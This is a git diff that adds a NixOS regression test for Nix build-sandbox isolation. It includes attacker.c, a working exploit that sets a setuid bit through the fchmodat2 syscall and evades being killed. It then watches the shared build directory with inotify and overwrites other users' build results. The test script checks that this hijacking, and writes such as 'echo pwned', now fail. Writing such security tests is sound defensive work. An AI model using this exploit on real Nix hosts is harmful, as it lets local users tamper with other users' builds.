diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix
index 710f8a273..2cf7a64c6 100644
--- a/tests/nixos/default.nix
+++ b/tests/nixos/default.nix
@@ -132,4 +132,6 @@ in
   ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
 
   gzip-content-encoding = runNixOSTestFor "x86_64-linux" ./gzip-content-encoding.nix;
+
+  user-sandboxing = runNixOSTestFor "x86_64-linux" ./user-sandboxing;
 }
diff --git a/tests/nixos/user-sandboxing/attacker.c b/tests/nixos/user-sandboxing/attacker.c
new file mode 100644
index 000000000..3bd729c04
--- /dev/null
+++ b/tests/nixos/user-sandboxing/attacker.c
@@ -0,0 +1,82 @@
+#define _GNU_SOURCE
+
+#include <fcntl.h>
+#include <stdio.h>
+#include <sys/inotify.h>
+#include <sys/stat.h>
+#include <unistd.h>
+#include <stdlib.h>
+
+#define SYS_fchmodat2 452
+
+int fchmodat2(int dirfd, const char *pathname, mode_t mode, int flags) {
+  return syscall(SYS_fchmodat2, dirfd, pathname, mode, flags);
+}
+
+int main(int argc, char **argv) {
+  if (argc <= 1) {
+    // stage 1: place the setuid-builder executable
+
+    // make the build directory world-accessible first
+    chmod(".", 0755);
+
+    if (fchmodat2(AT_FDCWD, "attacker", 06755, AT_SYMLINK_NOFOLLOW) < 0) {
+      perror("Setting the suid bit on attacker");
+      exit(-1);
+    }
+
+  } else {
+    // stage 2: corrupt the victim derivation while it's building
+
+    // prevent the kill
+    if (setresuid(-1, -1, getuid())) {
+      perror("setresuid");
+      exit(-1);
+    }
+
+    if (fork() == 0) {
+
+      // wait for the victim to build
+      int fd = inotify_init();
+      inotify_add_watch(fd, argv[1], IN_CREATE);
+      int dirfd = open(argv[1], O_DIRECTORY);
+      if (dirfd < 0) {
+        perror("opening the global build directory");
+        exit(-1);
+      }
+      char buf[4096];
+      fprintf(stderr, "Entering the inotify loop\n");
+      for (;;) {
+        ssize_t len = read(fd, buf, sizeof(buf));
+        struct inotify_event *ev;
+        for (char *pe = buf; pe < buf + len;
+            pe += sizeof(struct inotify_event) + ev->len) {
+          ev = (struct inotify_event *)pe;
+          fprintf(stderr, "folder %s created\n", ev->name);
+          // wait a bit to prevent racing against the creation
+          sleep(1);
+          int builddir = openat(dirfd, ev->name, O_DIRECTORY);
+          if (builddir < 0) {
+            perror("opening the build directory");
+            continue;
+          }
+          int resultfile = openat(builddir, "build/result", O_WRONLY | O_TRUNC);
+          if (resultfile < 0) {
+            perror("opening the hijacked file");
+            continue;
+          }
+          int writeres = write(resultfile, "bad\n", 4);
+          if (writeres < 0) {
+            perror("writing to the hijacked file");
+            continue;
+          }
+          fprintf(stderr, "Hijacked the build for %s\n", ev->name);
+          return 0;
+        }
+      }
+    }
+
+    exit(0);
+  }
+}
+
diff --git a/tests/nixos/user-sandboxing/default.nix b/tests/nixos/user-sandboxing/default.nix
new file mode 100644
index 000000000..cdb0c7eb6
--- /dev/null
+++ b/tests/nixos/user-sandboxing/default.nix
@@ -0,0 +1,127 @@
+{ config, ... }:
+
+let
+  pkgs = config.nodes.machine.nixpkgs.pkgs;
+
+  attacker = pkgs.runCommandWith {
+    name = "attacker";
+    stdenv = pkgs.pkgsStatic.stdenv;
+  } ''
+    $CC -static -o $out ${./attacker.c}
+  '';
+
+  try-open-build-dir = pkgs.writeScript "try-open-build-dir" ''
+    export PATH=${pkgs.coreutils}/bin:$PATH
+
+    set -x
+
+    chmod 700 .
+
+    touch foo
+
+    # Synchronisation point: create a world-writable fifo and wait for someone
+    # to write into it
+    mkfifo syncPoint
+    chmod 777 syncPoint
+    cat syncPoint
+
+    touch $out
+
+    set +x
+  '';
+
+  create-hello-world = pkgs.writeScript "create-hello-world" ''
+    export PATH=${pkgs.coreutils}/bin:$PATH
+
+    set -x
+
+    echo "hello, world" > result
+
+    # Synchronisation point: create a world-writable fifo and wait for someone
+    # to write into it
+    mkfifo syncPoint
+    chmod 777 syncPoint
+    cat syncPoint
+
+    cp result $out
+
+    set +x
+  '';
+
+in
+{
+  name = "sandbox-setuid-leak";
+
+  nodes.machine =
+    { config, lib, pkgs, ... }:
+    { virtualisation.writableStore = true;
+      nix.settings.substituters = lib.mkForce [ ];
+      nix.nrBuildUsers = 1;
+      virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell attacker try-open-build-dir create-hello-world pkgs.socat ];
+      boot.kernelPackages = pkgs.linuxPackages_latest;
+      users.users.alice = {
+        isNormalUser = true;
+      };
+    };
+
+  testScript = { nodes }: ''
+    start_all()
+
+    with subtest("A builder can't give access to its build directory"):
+        # Make sure that a builder can't change the permissions on its build
+        # directory to the point of opening it up to external users
+
+        # A derivation whose builder tries to make its build directory as open
+        # as possible and wait for someone to hijack it
+        machine.succeed(r"""
+          nix-build -v -E '
+            builtins.derivation {
+              name = "open-build-dir";
+              system = builtins.currentSystem;
+              builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
+              args = [ (builtins.storePath "${try-open-build-dir}") ];
+          }' >&2 &
+        """.strip())
+
+        # Wait for the build to be ready
+        # This is OK because it runs as root, so we can access everything
+        machine.wait_for_file("/tmp/nix-build-open-build-dir.drv-0/syncPoint")
+
+        # But Alice shouldn't be able to access the build directory
+        machine.fail("su alice -c 'ls /tmp/nix-build-open-build-dir.drv-0'")
+        machine.fail("su alice -c 'touch /tmp/nix-build-open-build-dir.drv-0/bar'")
+        machine.fail("su alice -c 'cat /tmp/nix-build-open-build-dir.drv-0/foo'")
+
+        # Tell the user to finish the build
+        machine.succeed("echo foo > /tmp/nix-build-open-build-dir.drv-0/syncPoint")
+
+    with subtest("Being able to execute stuff as the build user doesn't give access to the build dir"):
+        machine.succeed(r"""
+          nix-build -E '
+            builtins.derivation {
+              name = "innocent";
+              system = builtins.currentSystem;
+              builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
+              args = [ (builtins.storePath "${create-hello-world}") ];
+          }' >&2 &
+        """.strip())
+        machine.wait_for_file("/tmp/nix-build-innocent.drv-0/syncPoint")
+
+        # The build ran as `nixbld1` (which is the only build user on the
+        # machine), but a process running as `nixbld1` outside the sandbox
+        # shouldn't be able to touch the build directory regardless
+        machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'ls /tmp/nix-build-innocent.drv-0'")
+        machine.fail("su nixbld1 --shell ${pkgs.busybox-sandbox-shell}/bin/sh -c 'echo pwned > /tmp/nix-build-innocent.drv-0/result'")
+
+        # Finish the build
+        machine.succeed("echo foo > /tmp/nix-build-innocent.drv-0/syncPoint")
+
+        # Check that the build was not affected
+        machine.succeed(r"""
+          cat ./result
+          test "$(cat ./result)" = "hello, world"
+        """.strip())
+  '';
+
+}
+